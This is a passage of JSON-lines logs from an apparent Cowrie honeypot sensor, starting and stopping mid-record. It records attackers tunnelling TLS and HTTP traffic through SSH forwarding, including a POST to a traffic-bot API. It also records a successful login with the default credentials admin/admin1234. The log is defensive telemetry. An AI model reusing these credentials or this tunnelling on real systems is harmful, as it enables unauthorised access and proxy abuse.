0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcd,)\\x9b\\xfe:w2\\x8fx\\xc4\\xc7\\xb3\\xa2\\xc0&\\xf8\\xf1)\\xee\\xb4I\\xfc\\x17\\xfa\\x96@\\x03\\xdd)\\x17\\x18 @\\x170Z\\x1a\\x1b\\xf8\\xefJ\\x16\\xfeb\\xc8\\x83u\\xdb\\x05\\xb4\\xcc\\x1e\\xce\\x8b\\x92\\x9d\\xc7U\\'\\x9e\\xdd\\xd3.\\xe5\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 I\\xd4\\xe5h$\\x88\"h\\xa9pPA\\n>\\xe6\\x85]\\xf7\\x0e\\xa7\\x87\\x15#U\\xcc\\xc1Wk\\xcd\\xe9\\x96I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:59.665214Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:00.027028Z","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:00.035843Z","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:00.072577Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\xb9\\xc8\\xcb\\xe1Dc\\x1c\\x18\\x9c\\xea\\xa0\\x8c\\xc2\\x99\\xe9;\\xc1\\xd3o\\x1fR\\xec\\x99>n\\x1d\\xd2\\xa5\\xef\\xffY x\\x08\\xc4\\xbb\\x86tJ\\xd69\\xfc63f\\xbc*/\\x8ej\\n$\\xd6\\xe3\\x81\\xd8=\\x95\\xc3\\xe8\\xd6\\x1ery\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8\\xa6\\xdd\\xfd\\x18\\x7f\\x95\\x02\\xce\\x05\\xb2\\xa8\\xfa}?k\\xbf\\x13\\xff\\xd2A\\xf4\\xe368\\x81\\xb9\\xe30\\xad\\xb6\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\xb9\\xc8\\xcb\\xe1Dc\\x1c\\x18\\x9c\\xea\\xa0\\x8c\\xc2\\x99\\xe9;\\xc1\\xd3o\\x1fR\\xec\\x99>n\\x1d\\xd2\\xa5\\xef\\xffY x\\x08\\xc4\\xbb\\x86tJ\\xd69\\xfc63f\\xbc*/\\x8ej\\n$\\xd6\\xe3\\x81\\xd8=\\x95\\xc3\\xe8\\xd6\\x1ery\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8\\xa6\\xdd\\xfd\\x18\\x7f\\x95\\x02\\xce\\x05\\xb2\\xa8\\xfa}?k\\xbf\\x13\\xff\\xd2A\\xf4\\xe368\\x81\\xb9\\xe30\\xad\\xb6\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:00.080835Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:00.087209Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4:i@0p\\xc8\\x7f\\x8d\\x02\\xbb\\tsg!\\xb96*x\\xb7\\x95(O\\xb8\\x16\\xb7U\\xfd\\xd6L\\xf8\\xef FW\\xa5\\xb8M*i\\xfcBA\\x81\\xc9\\xa8\\x9a\\xb5\\xaa\\xef\\x8e\\xacq\\x9b7G\\x0cN\\r\\x9d\\xd0b,\\x87\\xbc\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef7\\xe8\\x8a\\x9a\\x03k\\xd9\\xd0^\\\\\\xed\\xe8\\xf0F\\x13\\xdeS\\xd3\\x1c2\\xa2\\xd6^\\xa0L\\xcb]\\xf8\\x1d\\x95\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4:i@0p\\xc8\\x7f\\x8d\\x02\\xbb\\tsg!\\xb96*x\\xb7\\x95(O\\xb8\\x16\\xb7U\\xfd\\xd6L\\xf8\\xef FW\\xa5\\xb8M*i\\xfcBA\\x81\\xc9\\xa8\\x9a\\xb5\\xaa\\xef\\x8e\\xacq\\x9b7G\\x0cN\\r\\x9d\\xd0b,\\x87\\xbc\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef7\\xe8\\x8a\\x9a\\x03k\\xd9\\xd0^\\\\\\xed\\xe8\\xf0F\\x13\\xdeS\\xd3\\x1c2\\xa2\\xd6^\\xa0L\\xcb]\\xf8\\x1d\\x95\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:00.090188Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":65067,"dst_ip":"10.17.0.5","dst_port":22,"session":"339aa1bf970e","protocol":"ssh","message":"New connection: 23.175.50.47:65067 (10.17.0.5:22) [session: 339aa1bf970e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:01.112353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:01.116220Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:01.203796Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.9","message":"Connection lost after 19.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:02.142867Z","src_ip":"173.208.188.210","session":"5a609aea770c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.648359298706055,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:02.355151Z","src_ip":"172.81.62.90","session":"c2a2f2c32dc4","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:02.741186Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.21258354187012,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:05.315626Z","src_ip":"172.81.62.90","session":"d05bb5c685ab","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:06.050225Z","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:52:06.108524Z","src_ip":"23.175.50.47","session":"339aa1bf970e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Z01VX3ReUVBfKVVuNm4%2FZg%3D%3DSELk%2BtTVlM3CC%2BEtXbMJyKhUkHhwFa%2FV1CXq8wOuOYhGm9HoZ952959rMm4Rosl%2F1RREZ9%2B7cAxA77ZOeJe2yq%2ByPvxKi60F0Kd9R5X0WcdT3es%2F6%2BRjN%2FleW8etOqUzSzg0QeW5%2FLruWf8EEiTwBlVRq%2Fd%2BPVlR2iV4wxaW9oCZqht1zSBjXsTw4dfywh4zLc2IGVnK9G85XDR55SsNWFRt4C6EIeWCjz85D0xpq0Ms15TnD6nIIHfzRw4QRgglsUD3cjoq0bz4%2BX2x5UavfmZH%2FGOMmqxQHfkJm31OzZ%2Fcgq0EeWr2i91f4PX%2FTvdCuc1wT6COb11iJN%2FFpemhspxnSAcFiHwUnZdBXcvxpKVcq2QUKRjEJGuiH80TXcVAf8NgRLne%2BhnufWyp6F%2Bjch3gDPbymIxYJvX%2FLCJT0yDyZ0Q%2B9vkjyr2Nud5KWm6xqZUUQtQGiPSE5pRX5z3FW6Oya0pRI2xGopKLB8hj3aJMTZlYIzOCdccruS7L87i9SYTCzZRxhiX0oZ%2FvBaspme%2FG8oC00BeSbtuo44rdPtPTvNBVK%2FKf0q%2BwY73hTaQSZSRloUG2oThRqsbRmbLBHulftUyXLLxparWmWuNaSk4LY%2FQRInw5WUjHZ%2FBF3LazE2PZpr0NxtpSWIYccF3yLL%2BZQ5Wj9mlgBs1SGdFS%2BvgBPal1LQTsTRnyAz7B9F3qT7Pm9h2kiD9pcEcGmcgNksGlp37k79JiLzZ%2B07o0LjGYufdelZOihtsoylm4v4pq40Evf1eBLSCnSvdAvmAbna4NmE9MjxAb3bDym8pZ7xQHUNKY2G1NzRnxsztmBVGF%2FEAJ%2F4xa9jPgUXgU0REygwNtlR3Zzc7kTN2Y8qPh6WqtYy7PJufB%2FFy67zLagmPfHYtcHVpnvILeT8yH7Jiktl